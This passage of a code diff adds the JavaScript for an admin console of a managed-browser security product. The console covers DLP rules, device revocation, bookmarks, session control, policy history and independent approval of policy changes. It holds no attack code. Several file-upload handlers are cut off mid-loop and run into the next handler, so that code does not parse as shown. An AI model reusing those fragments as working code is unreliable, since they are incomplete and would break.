button=document.createElement('button');button.className='secondary';button.textContent='Remove';button.onclick=()=>{policy.dlp.rules=policy.dlp.rules.filter(r=>r.id!==rule.id);renderRules();};div.append(text,button);$('rules').append(div);} + +} + +async function load(){ + + const data=await api('/api/admin/overview');clearHistoryReview();independentApprovalRequired=data.governance?.requireIndependentPolicyApproval===true;clearIndependentReview();policy=data.policy;publishedSnapshot=structuredClone(policy);fill(policy);applyOperatorPermissions(data.principal);renderPosture(policy);updateDraftStatus();$('workspace').hidden=false;$('login').hidden=true;$('admin-logout').hidden=false; + + $('identity').textContent=`${data.principal.sub} · ${data.principal.role||'administrator'}`;$('device-count').textContent=data.devices.length;$('policy-version').textContent=`v${policy.version}`;$('block-count').textContent=data.events.filter(e=>e.kind.includes('block')||e.metadata.decision==='block').length;$('ai-status').textContent=policy.ai.enabled?'Enabled':'Off'; + + $('bookmark-device').replaceChildren();for(const d of data.devices.filter(d=>!d.revoked)){const option=document.createElement('option');option.value=d.id;option.textContent=`${d.name} · ${d.user}`;$('bookmark-device').append(option);} + + $('device-rows').replaceChildren();for(const d of data.devices){const row=document.createElement('tr');row.dataset.access=d.revoked?'revoked':'active';cell(row,d.name);cell(row,d.platform);cell(row,d.user);cell(row,d.policy_version);cell(row,new Date(d.last_seen).toLocaleString());const action=cell(row,d.revoked?'Revoked':'');if(!d.revoked){const b=document.createElement('button');b.className='danger';b.textContent='Revoke';b.onclick=task(async()=>{await api(`/api/admin/devices/${encodeURIComponent(d.id)}/revoke`,{});await load();status('Device revoked. Client access stops at its next management refresh.');});action.append(b);const scan=document.createElement('button');scan.className='secondary';scan.textContent=d.documentAnalysisEnabled?'Disable manual document scans':'Enable manual document scans';scan.onclick=task(async()=>{const result=await api(`/api/admin/devices/${encodeURIComponent(d.id)}/inspection`,{expectedVersion:policy.version,documentAnalysisEnabled:!d.documentAnalysisEnabled},'PATCH');await load();policyMutationStatus(result,'Device document analysis setting published. Mandatory DLP and YARA remain enforced.');});action.append(scan);}$('device-rows').append(row);} + + $('event-rows').replaceChildren();for(const e of data.events){const row=document.createElement('tr');row.dataset.decision=e.metadata.decision|| (e.kind.includes('block')?'block':'');cell(row,new Date(e.time).toLocaleString());cell(row,e.kind);cell(row,e.device_id?.slice(0,8)||'Control plane');const metadataCell=cell(row,JSON.stringify(e.metadata));const triage=document.createElement('button');triage.className='secondary';triage.textContent='Create incident';triage.dataset.incidentCreate='true';triage.hidden=e.kind.startsWith('incident.');triage.onclick=task(async()=>{const created=await api('/api/admin/incidents',{eventId:Number(e.id),severity:'medium'});await loadIncidents();await openIncident(created.incident?.id||created.id);$('incidents').scrollIntoView({behavior:'smooth'});status('Incident created for investigation.');});metadataCell.append(triage);$('event-rows').append(row);} + + filterTable('device');filterTable('event');await loadTeaching();await loadIndependentReviews();await loadPolicyGroups();await loadUserProfiles();await loadIncidents();status(data.migrationRequired?'Legacy semantic policy remains blocked. Recreate references with the approved local model and explicitly publish a replacement policy.':'Connected. Policy and fleet loaded.',data.migrationRequired); + + renderReadiness((await api('/api/admin/integrations')).readiness); + + const retention=data.auditRetention||{enabled:false};$('audit-retention-status').textContent=retention.enabled?`${retention.days} days · exported, unreferenced database events only${retention.lastRun?.at?' · last run '+new Date(retention.lastRun.at).toLocaleString():''}${retention.lastFailure?' · last attempt failed at '+new Date(retention.lastFailure).toLocaleString():''}`:'Automatic database event deletion is disabled.';applyOperatorPermissions(data.principal);if(data.siem)$('siem-status').textContent=`SIEM ${data.siem.configured?'HTTPS push':'local durable export'} · ${data.siem.format.toUpperCase()} · ${data.siem.pending} pending · ${data.siem.failures} consecutive delivery failures`; + +} + +$('connect').onclick=task(async()=>{credential=$('token').value;$('token').value='';await load();}); + +$('refresh').onclick=task(load); + +$('publish').onclick=task(async()=>{const result=await api('/api/admin/policy',draft(),'PUT');await load();policyMutationStatus(result,`Signed policy v${result.version} published.`);}); + +$('channel-key-download').onclick=task(async()=>{const channel=await api('/api/admin/management-channel');const link=document.createElement('a'),url=URL.createObjectURL(new Blob([channel.signatureKey],{type:'application/x-pem-file'}));link.href=url;link.download='safetynet-management-mldsa87-public.pem';link.click();setTimeout(()=>URL.revokeObjectURL(url),1000);status('Public management signing key downloaded. Deploy through your trusted device-management channel.');}); + +$('add-rule').onclick=task(async()=>{const label=$('rule-label').value.trim(),value=$('rule-value').value.trim();if(!label||!value)throw Error('Enter a rule name and phrase');policy.dlp.rules.push({id:crypto.randomUUID(),label,kind:'literal',value,action:'block'});renderRules();$('rule-value').value='';status('Rule added to draft. Publish to apply it.');}); + +$('fingerprint').onchange=task(async()=>{const file=$('fingerprint').files[0];if(!file)return;if(file.size>20*1024*1024)throw Error('Fingerprint input limit is 20 MB');const hash=await crypto.subtle.digest('SHA-256',await file.arrayBuffer());const value=Array.from(new Uint8Array(hash),b=>b.toString(16).padStart(2,'0')).join('');policy.dlp.rules.push({id:crypto.randomUUID(),label:file.name,kind:'sha256',value,action:'block'});renderRules();$('fingerprint').value='';status('Fingerprint added to draft. Publish to apply it.');}); + +$('test').onclick=task(async()=>{$('test-result').textContent=JSON.stringify(await api('/api/admin/policy/test',{text:$('test-text').value,policy:draft()}),null,2);}); + +$('enroll').onclick=task(async()=>{const result=await api('/api/admin/enrollments',{user:$('enroll-user').value});$('enrollment').textContent=`One-use code (expires in 10 minutes):\n${result.code}`;}); + +function renderSemantic(){ + + $('semantic-rules').replaceChildren();for(const r of policy.dlp.semantic.categories){const div=document.createElement('div');div.className='rule';const text=document.createElement('span');text.textContent=`${r.label} · threshold ${r.threshold}`;const button=document.createElement('button');button.className='secondary';button.textContent='Remove';button.onclick=()=>{policy.dlp.semantic.categories=policy.dlp.semantic.categories.filter(v=>v.id!==r.id);renderSemantic();};div.append(text,button);$('semantic-rules').append(div);} + +} + +function addSemanticReference(reference,label,threshold){ + + if(policy.dlp.semantic.categories.length&&['revision','model','profile','artifactFormat','quantization','runtimeRevision'].some(key=>policy.dlp.semantic[key]!==reference[key]))throw Error('Model revision or profile changed; recreate existing references before publishing'); + + for(const key of ['model','revision','dimensions','profile','artifactFormat','quantization','runtimeRevision'])policy.dlp.semantic[key]=reference[key];policy.dlp.semantic.categories.push({id:crypto.randomUUID(),label,threshold,prototype:reference.vector,prototypes:reference.vectors});renderSemantic();status(`Local semantic reference added (${reference.coverage.textChunks} chunks, ${reference.dimensions} dimensions). Calibrate and explicitly publish to apply.`); + +} + +$('semantic-add').onclick=task(async()=>{ + + const label=$('semantic-label').value.trim(),threshold=Number($('semantic-threshold').value);if(!label||threshold<=0||threshold>1)throw Error('Enter a category name and a threshold greater than 0 and at most 1'); + + const reference=await api('/api/admin/semantic/reference',{description:$('semantic-description').value}); + + addSemanticReference(reference,label,threshold); + +}); + +$('semantic-document-add').onclick=task(async()=>{ + + const file=$('semantic-document').files[0],label=$('semantic-label').value.trim(),threshold=Number($('semantic-threshold').value);if(!file||file.size>1048576)throw Error('Choose a local reference document up to 1 MiB');if(!label||threshold<=0||threshold>1)throw Error('Enter a category name and threshold greater than 0 and at most 1');const bytes=new Uint8Array(await file.arrayBuffer());let raw='';for(let n=0;n{ + + const r=await fetch(`/api/admin/events/export?format=${format}&limit=1000`,{headers:credential?{authorization:`Bearer ${credential}`}:{}});if(!r.ok)throw Error('Export failed'); + + const url=URL.createObjectURL(await r.blob()),a=document.createElement('a');a.href=url;a.download=`safetynet-security.${format==='ecs'?'ndjson':'cef'}`;a.click();setTimeout(()=>URL.revokeObjectURL(url),1000); + +}); + +fetch('/api/auth/status').then(r=>r.json()).then(data=>{$('sso').hidden=!data.sso;$('token').hidden=data.bootstrapAllowed===false;$('connect').hidden=data.bootstrapAllowed===false;}); + +load().catch(()=>status('Sign in to manage your browser fleet.')); + +async function loadTeaching(){ + + const data=await api('/api/admin/teaching');$('teach-drafts').replaceChildren();for(const d of data.drafts){const row=document.createElement('div');row.className='rule';const label=document.createElement('span');label.textContent=`${d.label} · ${d.status} · ${d.reference.registrationReady?'inspection complete':'partial coverage: unextracted media is not fingerprinted'}`;row.append(label);if(d.status==='draft'){const button=document.createElement('button');button.textContent=independentApprovalRequired?(d.reference.registrationReady?'Prepare fingerprints for independent approval':'Prepare available fingerprints (partial coverage)'):(d.reference.registrationReady?'Approve and publish fingerprints':'Approve available fingerprints (partial coverage)');button.onclick=task(async()=>{const result=await api(`/api/admin/teaching/${encodeURIComponent(d.id)}/publish`,{expectedVersion:policy.version,approve:true,mode:d.reference.registrationReady?'complete':'available-fingerprints'});await load();policyMutationStatus(result,`Reference approved and signed policy published; coverage ${result.coverage}.`);});row.append(button);}$('teach-drafts').append(row);} + +} + +$('teach-submit').onclick=task(async()=>{const file=$('teach-file').files[0];if(!file||file.size>1024*1024)throw Error('Choose a reference file up to 1 MB');const bytes=new Uint8Array(await file.arrayBuffer());let raw='';for(let n=0;n{ + + const file=$('visual-image').files[0];if(!file||file.size>1024*1024)throw Error('Choose a trusted PNG reference up to 1 MB');const bytes=new Uint8Array(await file.arrayBuffer());let raw='';for(let n=0;nb.id===result.brand.id);if(current){if(current.references.length>=20)throw Error('Each brand supports at most 20 references');current.references.push(result.brand.references[0]);}else brands.push(result.brand);$('security-json').value=JSON.stringify(security,null,2);$('visual-image').value='';status(result.warning); + +}); + + + + + +function renderReadiness(rows){$('integration-readiness').replaceChildren();for(const r of rows){const item=document.createElement('div');item.className='integration-item';const title=document.createElement('strong');title.textContent=`${r.label} · ${r.state}`;const detail=document.createElement('p');detail.textContent=r.detail;item.append(title,detail);$('integration-readiness').append(item);}} + +$('preset-preview').onclick=task(async()=>{const result=await api('/api/admin/presets/preview',{id:$('preset-id').value,policy:draft()});result.sourceDraft=JSON.stringify(draft());presetPreview=result;$('preset-description').textContent=`${result.preset.description} ${result.warning}`;$('preset-changes').replaceChildren();for(const change of result.changes){const row=document.createElement('div');row.className='rule';row.textContent=`${change.field}: ${JSON.stringify(change.before)} → ${JSON.stringify(change.after)}`;$('preset-changes').append(row);}if(!result.changes.length)$('preset-changes').textContent='No changes to existing policy controls.';renderReadiness(result.readiness);$('preset-apply').disabled=false;status('Template preview created. Nothing has been published.');}); + +$('preset-apply').onclick=task(async()=>{if(!presetPreview)throw Error('Preview a template first');if(JSON.stringify(draft())!==presetPreview.sourceDraft)throw Error('Draft changed after preview; preview the template again before applying');const preview=presetPreview;policy=preview.policy;policy.version-=1;fill(policy);renderReadiness(preview.readiness);status('Template added to draft. Review controls and publish the signed policy to deploy.');}); + +$('preset-id').onchange=()=>{presetPreview=null;$('preset-apply').disabled=true;$('preset-description').textContent='';$('preset-changes').replaceChildren();}; + +$('enterprise-icap-probe').onclick=task(async()=>{const result=await api('/api/admin/integrations/icap/probe',draft().enterprise.icap);$('enterprise-icap-status').textContent=result.ready?'Management server OPTIONS check passed. Verify scanning from the deployed browser network too.':'Management server OPTIONS check failed. Check service, method, certificates and network reachability.';status('ICAP capability check completed; no company document was sent and nothing was published.');}); + + + + + + + +const bookmarkPermissions=[['bookmarks-add','allowUserAdd'],['bookmarks-edit','allowUserEdit'],['bookmarks-delete','allowUserDelete'],['bookmarks-admin-read','adminReadUserBookmarks']]; + +function clearDeviceBookmarks(){bookmarkRevision=undefined;bookmarkDeviceId='';personalBookmarks=[];$('bookmark-device-editor').hidden=true;$('bookmark-device-status').textContent='Select a device and read its bookmarks. Published policy must permit administrator access.';} + +function renderBookmarkRows(target,items){ + + $(target).replaceChildren();for(const item of items){const row=document.createElement('tr');for(const [key,label,max] of [['title','Bookmark title',120],['url','Bookmark URL',2048],['folder','Bookmark folder',80]]){const td=document.createElement('td'),input=document.createElement('input');input.value=item[key]||'';input.maxLength=max;input.setAttribute('aria-label',label);if(key==='url')input.type='url';input.oninput=()=>{item[key]=input.value;};td.append(input);row.append(td);}const td=document.createElement('td'),remove=document.createElement('button');remove.className='danger';remove.textContent='Remove';remove.onclick=()=>{items.splice(items.indexOf(item),1);renderBookmarkRows(target,items);};td.append(remove);row.append(td);$(target).append(row);} + + if(!items.length){const row=document.createElement('tr'),td=document.createElement('td');td.colSpan=4;td.textContent='No bookmarks.';row.append(td);$(target).append(row);} + +} + +function addBookmark(items,target){if(items.length>=100)throw Error('A maximum of 100 bookmarks is supported');items.push({id:crypto.randomUUID(),title:'',url:'https://',folder:''});renderBookmarkRows(target,items);$(target).lastElementChild?.querySelector('input')?.focus();} + +$('managed-bookmark-add').onclick=task(async()=>{addBookmark(managedBookmarks,'managed-bookmark-rows');status('Company bookmark added to draft. Complete its fields, then publish the signed policy.');}); + +$('personal-bookmark-add').onclick=task(async()=>addBookmark(personalBookmarks,'personal-bookmark-rows')); + +$('bookmark-device').onchange=clearDeviceBookmarks; + +async function readDeviceBookmarks(){ + + const id=$('bookmark-device').value;if(!id)throw Error('Select an active device');clearDeviceBookmarks();const data=await api(`/api/admin/devices/${encodeURIComponent(id)}/bookmarks`);if($('bookmark-device').value!==id)return;bookmarkDeviceId=id;bookmarkRevision=data.revision;personalBookmarks=structuredClone(data.items);renderBookmarkRows('personal-bookmark-rows',personalBookmarks);$('bookmark-device-editor').hidden=false;$('bookmark-device-status').textContent=`Loaded device revision ${bookmarkRevision}. Remote edits are not saved yet.`; + +} + +$('bookmark-device-load').onclick=task(readDeviceBookmarks); + +$('bookmark-device-refresh').onclick=task(readDeviceBookmarks); + +$('bookmark-device-save').onclick=task(async()=>{ + + if(!bookmarkDeviceId||bookmarkRevision===undefined||bookmarkDeviceId!==$('bookmark-device').value)throw Error('Read the selected device bookmarks first'); + + try{const data=await api(`/api/admin/devices/${encodeURIComponent(bookmarkDeviceId)}/bookmarks`,{expectedRevision:bookmarkRevision,policyVersion:policy.version,items:personalBookmarks},'PUT');bookmarkRevision=data.revision;personalBookmarks=structuredClone(data.items);renderBookmarkRows('personal-bookmark-rows',personalBookmarks);$('bookmark-device-status').textContent=`Saved revision ${bookmarkRevision}. The browser applies this at its next management refresh.`;status('Device bookmarks updated.');}catch(error){$('bookmark-device-status').textContent=`Save failed: ${error.message}. Refresh and review the latest revision before retrying.`;throw error;} + +}); + + + +// Console preferences affect this interface only, never managed browser policy. + +function setConsoleTheme(value){document.documentElement.dataset.theme=value;try{localStorage.setItem('safetynet.admin.theme',value);}catch{}} + +try{$('console-theme').value=localStorage.getItem('safetynet.admin.theme')||'system';}catch{} + +setConsoleTheme($('console-theme').value);$('console-theme').onchange=()=>setConsoleTheme($('console-theme').value); + +function policyChanges(){if(!publishedSnapshot)return [];const next=draft();const changes=[];function walk(before,after,path){if(JSON.stringify(before)===JSON.stringify(after))return;if(path==='version')return;if(path==='expiresAt'&&Math.floor(new Date(before).getTime()/60000)===Math.floor(new Date(after).getTime()/60000))return;if(before&&after&&typeof before==='object'&&typeof after==='object'&&!Array.isArray(before)&&!Array.isArray(after)){for(const key of new Set([...Object.keys(before),...Object.keys(after)]))walk(before[key],after[key],path?`${path}.${key}`:key);}else changes.push({path,before,after});}walk(publishedSnapshot,next,'');return changes;} + +function updateDraftStatus(){if(!policy)return;try{const count=policyChanges().length;$('draft-state').textContent=count?`${count} unpublished policy ${count===1?'change':'changes'}`:`Published policy v${publishedSnapshot.version}`;$('draft-detail').textContent=count?'Review before publishing. Refresh discards unpublished edits.':'Changes stay in your draft until publication.';$('draft-state').classList.toggle('draft-dirty',count>0);}catch{$('draft-state').textContent='Draft requires correction';$('draft-detail').textContent='Check expiry and advanced JSON before publication.';}} + +$('workspace').addEventListener('input',updateDraftStatus);$('workspace').addEventListener('change',updateDraftStatus);$('workspace').addEventListener('click',()=>queueMicrotask(updateDraftStatus)); + +$('publish-shortcut').onclick=()=>{if(!$('publish').disabled)$('publish').click();}; + +$('review-changes').onclick=task(async()=>{const changes=policyChanges();$('change-review-list').replaceChildren();for(const change of changes){const item=document.createElement('article');item.className='change-item';const title=document.createElement('strong');title.textContent=change.path;const before=document.createElement('pre'),after=document.createElement('pre');before.textContent=`Published: ${JSON.stringify(change.before)??'unset'}`;after.textContent=`Draft: ${JSON.stringify(change.after)??'unset'}`;item.append(title,before,after);$('change-review-list').append(item);}$('change-review-summary').textContent=changes.length?`${changes.length} changed paths. Nothing has been published by this review.`:'No policy changes.';$('change-review').showModal();});$('review-close').onclick=()=>$('change-review').close(); + +function renderPosture(p){$('policy-posture').replaceChildren();const entries=[['Clipboard inspection',p.security.clipboard.enabled?'Enabled':'Supplemental controls off'],['Semantic protection',p.dlp.semantic.enabled?`${p.dlp.semantic.categories.length} categories`:'Not enabled'],['Visual impersonation',p.security.visualPhishing.enabled?'Enabled':'Not enabled'],['Download scanning',p.enterprise.icap.enabled&&p.enterprise.icap.scanDownloads?'External ICAP required':p.security.yara?.enabled?'Local YARA required':'Verify required scanner configuration'],['Network',p.enterprise.vpn.required?'Corporate VPN required':'Device-managed connection'],['Policy expiry',new Date(p.expiresAt).toLocaleString()]];for(const [name,value]of entries){const line=document.createElement('div');line.className='posture-item';const label=document.createElement('span'),text=document.createElement('strong');label.textContent=name;text.textContent=value;line.append(label,text);$('policy-posture').append(line);}} + +function filterTable(kind){const query=$(`${kind}-filter`).value.toLowerCase().trim(),value=$(kind==='device'?'device-access-filter':'event-decision-filter').value,rows=Array.from($(`${kind}-rows`).children);let visible=0;for(const row of rows){const match=(!query||row.textContent.toLowerCase().includes(query))&&(value==='all'||row.dataset[kind==='device'?'access':'decision']===value);row.hidden=!match;if(match)visible++;}$(`${kind}-filter-count`).textContent=`${visible} of ${rows.length} ${kind==='device'?'devices':'events'}`;} + +for(const kind of ['device','event']){$(`${kind}-filter`).oninput=()=>filterTable(kind);$(kind==='device'?'device-access-filter':'event-decision-filter').onchange=()=>filterTable(kind);} + +function applyOperatorPermissions(principal){currentPrincipal=principal;if(typeof applyGroupPermissions==='function')applyGroupPermissions(principal);if(typeof applyProfilePermissions==='function')applyProfilePermissions(principal);if(typeof applyIncidentPermissions==='function')applyIncidentPermissions(principal);operatorPermissions=Array.isArray(principal.permissions)?new Set(principal.permissions):null;if(!operatorPermissions)return;const allowed=permission=>operatorPermissions.has(permission)||(permission==='policy.write'&&independentApprovalRequired&¤tPrincipal.role==='operator');$('access-sessions').hidden=!allowed('sessions.manage');document.querySelector('nav a[href="#access-sessions"]').hidden=!allowed('sessions.manage');$('sessions-load').disabled=!allowed('sessions.manage');const policySections=['policy','managed-settings','security-controls','password-vault','visual-protection','clipboard-controls','enterprise-integrations'];for(const id of policySections)for(const field of $(id).querySelectorAll('input,textarea,select,button'))field.disabled=!allowed('policy.write');for(const id of ['publish','publish-shortcut','preset-preview','managed-bookmark-add','add-rule','fingerprint','semantic-add','semantic-document-add','visual-add'])$(id).disabled=!allowed('policy.write');for(const field of $('bookmarks').querySelectorAll('input,button')){const personal=field.closest('#bookmark-device-editor');field.disabled=!allowed(personal?'bookmarks.write':'policy.write');}$('preset-apply').disabled=!allowed('policy.write')||!presetPreview;$('history-approve').disabled=!allowed('policy.write')||!historyReview||historyReview.sourceVersion===historyReview.expectedVersion;$('history-restore').disabled=!allowed('policy.write')||!historyReview||!$('history-approve').checked||historyReview.sourceVersion===historyReview.expectedVersion;$('bookmark-device-load').disabled=!allowed('bookmarks.read');$('enroll').disabled=!allowed('devices.manage');$('enterprise-icap-probe').disabled=!allowed('integrations.test');$('teach-submit').disabled=!allowed('teaching.write');for(const button of $('device-rows').querySelectorAll('button'))button.disabled=!allowed(button.textContent.includes('document scans')?'policy.write':'devices.manage');for(const button of $('teach-drafts').querySelectorAll('button'))button.disabled=!allowed('policy.write');for(const id of ['bookmarks-add','bookmarks-edit','bookmarks-delete','bookmarks-admin-read'])$(id).disabled=!allowed('policy.write');} + + + +// Track the current reading section without removing or replacing any policy form. + +if('IntersectionObserver' in window){const observer=new IntersectionObserver(entries=>{for(const entry of entries)if(entry.isIntersecting){for(const link of document.querySelectorAll('nav a')){const active=link.hash===`#${entry.target.id}`;if(active)link.setAttribute('aria-current','true');else link.removeAttribute('aria-current');}}},{rootMargin:'-120px 0px -65% 0px',threshold:0});for(const section of document.querySelectorAll('#workspace section[id]'))observer.observe(section);} + + + +$('admin-logout').onclick=task(async()=>{await api('/auth/logout',{});credential='';location.reload();}); + +async function loadSessions(){const data=await api('/api/admin/sessions');$('session-rows').replaceChildren();for(const session of data.sessions){const row=document.createElement('tr');cell(row,session.name===session.subject?session.subject:`${session.name} · ${session.subject}`);cell(row,session.role);cell(row,new Date(session.expiresAt).toLocaleString());const action=cell(row,''),button=document.createElement('button');button.className='danger';button.textContent='Revoke session';button.onclick=task(async()=>{await api(`/api/admin/sessions/${encodeURIComponent(session.id)}/revoke`,{});row.remove();$('sessions-status').textContent='Session revoked immediately. Identity-provider authorization may permit another sign-in.';});action.append(button);$('session-rows').append(row);}$('sessions-status').textContent=`${data.sessions.length} active management sessions${data.truncated?' · first 500 shown':''}.`;} + +$('sessions-load').onclick=task(loadSessions); + + + +function fillSecurityControls(security,agents){$('security-dns-enabled').checked=security.dns.enabled;$('security-dns-hosts').value=security.dns.blockedHosts.join('\n');$('security-dns-ips').value=security.dns.blockedIPs.join('\n');$('security-content-phrases').value=security.content.blockedPhrases.join('\n');$('security-yara-enabled').checked=security.yara.enabled;$('security-yara-max').value=security.yara.maxScanBytes;$('agent-enabled').checked=agents.enabled;$('agent-hosts').value=agents.allowedHosts.join('\n');$('agent-sensitive').checked=agents.allowSensitiveRead;for(const scope of agentScopes)$(`agent-scope-${scope}`).checked=agents.scopes.includes(scope);} + +$('security-json').addEventListener('change',()=>{try{const security=JSON.parse($('security-json').value);fillSecurityControls(security,draft().agents);}catch(error){status(`Advanced security configuration: ${error.message}`,true);}}); + + + +// Persisted history is loaded on demand; a review captures the current version for compare-and-swap restoration. + +let historyNextBefore=null,historyReview=null; + +function canWritePolicy(){return !operatorPermissions||operatorPermissions.has('policy.write')||(independentApprovalRequired&&operatorPermissions.has('policy.prepare'));} + +function clearHistoryReview(){historyReview=null;$('history-review').hidden=true;$('history-approve').checked=false;$('history-restore').disabled=true;} + +async function loadHistory(older=false){ + + const data=await api(`/api/admin/policy/history?limit=20${older&&historyNextBefore?`&before=${historyNextBefore}`:''}`);if(!older)$('history-rows').replaceChildren();clearHistoryReview(); + + for(const item of data.versions){const row=document.createElement('tr');cell(row,`v${item.version}${item.current?' · current':''}`);cell(row,new Date(item.time).toLocaleString());cell(row,item.actor);const action=cell(row,''),button=document.createElement('button');button.className='secondary';button.textContent=item.current?'Review current version':'Compare with current';button.onclick=task(()=>reviewHistory(item.version));action.append(button);$('history-rows').append(row);} + + historyNextBefore=data.nextBefore;$('history-more').hidden=!historyNextBefore;$('history-status').textContent=`${$('history-rows').children.length} persisted versions shown. Current signed policy: v${data.currentVersion}.`; + +} + +function renderHistoryDiff(changes){$('history-diff-list').replaceChildren();for(const change of changes){const item=document.createElement('article');item.className='change-item';const title=document.createElement('strong');title.textContent=`${change.path} · ${change.kind}`;const before=document.createElement('pre'),after=document.createElement('pre');before.textContent=`Selected version: ${JSON.stringify(change.before)??'unset'}`;after.textContent=`Current version: ${JSON.stringify(change.after)??'unset'}`;item.append(title,before,after);$('history-diff-list').append(item);}} + +async function reviewHistory(version){ + + clearHistoryReview();const current=await api('/api/admin/policy/history?limit=1');if(current.currentVersion!==publishedSnapshot.version)throw Error('Current policy changed. Refresh the workspace before comparing or restoring.'); + + const comparison=await api(`/api/admin/policy/diff?from=${version}&to=${current.currentVersion}`);if(comparison.truncated||comparison.groupDiff?.truncated)throw Error('Policy difference exceeds the supported review size. Review the policy through the API before restoration.'); + + historyReview={sourceVersion:version,expectedVersion:current.currentVersion};renderHistoryDiff([...comparison.changes,...(comparison.groupDiff?.changes||[]).map(change=>({...change,path:`/policyGroups${change.path}`}))]);$('history-review-title').textContent=`Review v${version} against current v${current.currentVersion}`;$('history-review-summary').textContent=`${comparison.changes.length} baseline paths and ${comparison.groupDiff?.changes.length||0} group paths changed. Restoration publishes v${current.currentVersion+1} with a fresh seven-day expiry. Your unpublished draft will be replaced after successful restoration.`;$('history-review').hidden=false;$('history-approve').disabled=!canWritePolicy()||version===current.currentVersion;$('history-restore').disabled=true;$('history-review').scrollIntoView({block:'nearest',behavior:'smooth'}); + +} + +$('history-load').onclick=task(()=>loadHistory());$('history-more').onclick=task(()=>loadHistory(true)); + +$('history-approve').onchange=()=>{$('history-restore').disabled=!historyReview||!$('history-approve').checked||!canWritePolicy()||historyReview.sourceVersion===historyReview.expectedVersion;}; + +$('history-restore').onclick=task(async()=>{if(!historyReview||!$('history-approve').checked||!canWritePolicy())throw Error('Review and approve the restoration first');const selection={...historyReview};$('history-restore').disabled=true;const result=await api('/api/admin/policy/restore',{...selection,approve:true});await load();await loadHistory();policyMutationStatus(result,`Configuration from v${result.sourceVersion} restored and signed as new policy v${result.version}.`);}); + + + +for(const id of ['agent-enabled','agent-hosts','agent-sensitive',...agentScopes.map(scope=>`agent-scope-${scope}`)])$(id).addEventListener('input',()=>{$('agents-json').value=JSON.stringify({enabled:$('agent-enabled').checked,scopes:agentScopes.filter(scope=>$(`agent-scope-${scope}`).checked),allowedHosts:lines('agent-hosts'),allowSensitiveRead:$('agent-sensitive').checked},null,2);}); + + + +// The backend controls independent approval; renderer controls provide context only. + +function policyMutationStatus(result,publishedMessage){status(result.reviewRequired?`Changes prepared for independent approval (${result.reviewId}). Published policy is unchanged.`:publishedMessage);} + +function clearIndependentReview(){selectedIndependentReview=null;$('independent-review-detail').hidden=true;$('independent-review-confirm').checked=false;$('independent-review-approve').disabled=true;$('independent-review-reject').disabled=true;} + +function canReviewIndependent(){return currentPrincipal?.role==='admin'&&selectedIndependentReview?.status==='pending'&&!selectedIndependentReview.diff?.truncated&&selectedIndependentReview.author!==currentPrincipal.sub;} + +function updateIndependentReviewActions(){const allowed=canReviewIndependent();$('independent-review-confirm').disabled=!allowed;$('independent-review-approve').disabled=!allowed||!$('independent-review-confirm').checked;$('independent-review-reject').disabled=!allowed;} + +async function loadIndependentReviews(){const data=await api('/api/admin/policy-reviews');clearIndependentReview();$('review-mode').textContent=data.requireIndependentPolicyApproval?'Independent approval is mandatory. Publish controls prepare changes for a different administrator.':'Independent approval is optional on this deployment. Direct publication remains enabled for authorized administrators.';for(const id of ['publish','publish-shortcut'])$(id).textContent=independentApprovalRequired?'Prepare for independent approval':'Publish signed policy';$('history-restore').textContent=independentApprovalRequired?'Prepare restoration for independent approval':'Restore as new signed version';$('reviews-rows').replaceChildren();for(const review of data.reviews){const row=document.createElement('tr');cell(row,new Date(review.time).toLocaleString());cell(row,review.author);cell(row,review.kind);cell(row,`v${review.expectedVersion}`);cell(row,review.status);const action=cell(row,''),button=document.createElement('button');button.className='secondary';button.textContent='Review changes';button.onclick=task(async()=>{selectedIndependentReview=await api(`/api/admin/policy-reviews/${encodeURIComponent(review.id)}`);$('independent-review-confirm').checked=false;$('independent-review-title').textContent=`${selectedIndependentReview.kind} | ${selectedIndependentReview.status}`;$('independent-review-metadata').textContent=`Author: ${selectedIndependentReview.author} | Base policy: v${selectedIndependentReview.expectedVersion} | Payload: ${selectedIndependentReview.payloadHash}${selectedIndependentReview.author===currentPrincipal.sub?' | You cannot approve your own proposal.':''}${selectedIndependentReview.status==='stale'?' | Refresh and prepare a new proposal against the current policy.':''}`;$('independent-review-operation').textContent=independentOperationDescription(selectedIndependentReview.operation);$('independent-review-diff').replaceChildren();for(const change of selectedIndependentReview.diff.changes){const item=document.createElement('article');item.className='change-item';const title=document.createElement('strong'),before=document.createElement('pre'),after=document.createElement('pre');title.textContent=change.path;before.textContent=`Current: ${JSON.stringify(change.before)??'unset'}`;after.textContent=`Proposed: ${JSON.stringify(change.after)??'unset'}`;item.append(title,before,after);$('independent-review-diff').append(item);}if(selectedIndependentReview.diff.truncated){const warning=document.createElement('p');warning.textContent='Diff is truncated. Approval is disabled here; review the complete proposed policy using the authenticated review API.';$('independent-review-diff').append(warning);}$('independent-review-detail').hidden=false;updateIndependentReviewActions();});action.append(button);$('reviews-rows').append(row);}$('reviews-status').textContent=`${data.reviews.length} proposals loaded.`;} + +$('reviews-load').onclick=task(loadIndependentReviews);$('independent-review-confirm').onchange=updateIndependentReviewActions; + +$('independent-review-approve').onclick=task(async()=>{if(!canReviewIndependent()||!$('independent-review-confirm').checked)throw Error('A different administrator must explicitly review and approve');const review=selectedIndependentReview;const result=await api(`/api/admin/policy-reviews/${encodeURIComponent(review.id)}/approve`,{payloadHash:review.payloadHash,expectedVersion:review.expectedVersion,approve:true});await load();status(`Independent approval complete. Signed policy v${result.version} published.`);}); + +$('independent-review-reject').onclick=task(async()=>{if(!canReviewIndependent())throw Error('Only a different administrator may reject this proposal');const review=selectedIndependentReview;await api(`/api/admin/policy-reviews/${encodeURIComponent(review.id)}/reject`,{payloadHash:review.payloadHash,reject:true});await loadIndependentReviews();status('Proposal rejected. Published policy is unchanged.');}); + + +function independentOperationDescription(operation={}){ + if(operation.type?.startsWith('profile')||operation.type?.startsWith('user-profile'))return `User-profile operation; exact subjects, device assignments, website categories and delegated flags: ${JSON.stringify(operation)}`; + if(operation.type==='group-upsert'||operation.type==='group-delete')return `Group operation: ${operation.type}. Exact group and rollout: ${JSON.stringify(operation)}`; + if(operation.type==='inspection')return `Device: ${operation.deviceId}. Proposed manual document analysis: ${operation.enabled?'Enable':'Disable'}. Mandatory upload DLP and download inspection remain enforced.`; + if(operation.type==='teaching')return `Document reference: ${operation.id}. Coverage: ${operation.coverage}. Publication mode: ${operation.mode}. Only derived protection features will be published.`; + if(operation.type==='group-restore')return `Restore baseline and group assignments from v${operation.sourceVersion}. Exact restored groups: ${JSON.stringify(operation.groups)}`; + if(Number.isInteger(operation.sourceVersion))return `Restore configuration from policy v${operation.sourceVersion} as a new signed version.`; + return 'Global browser policy changes shown below.'; +} diff --git a/apps/server/public/diagnostics-admin.js 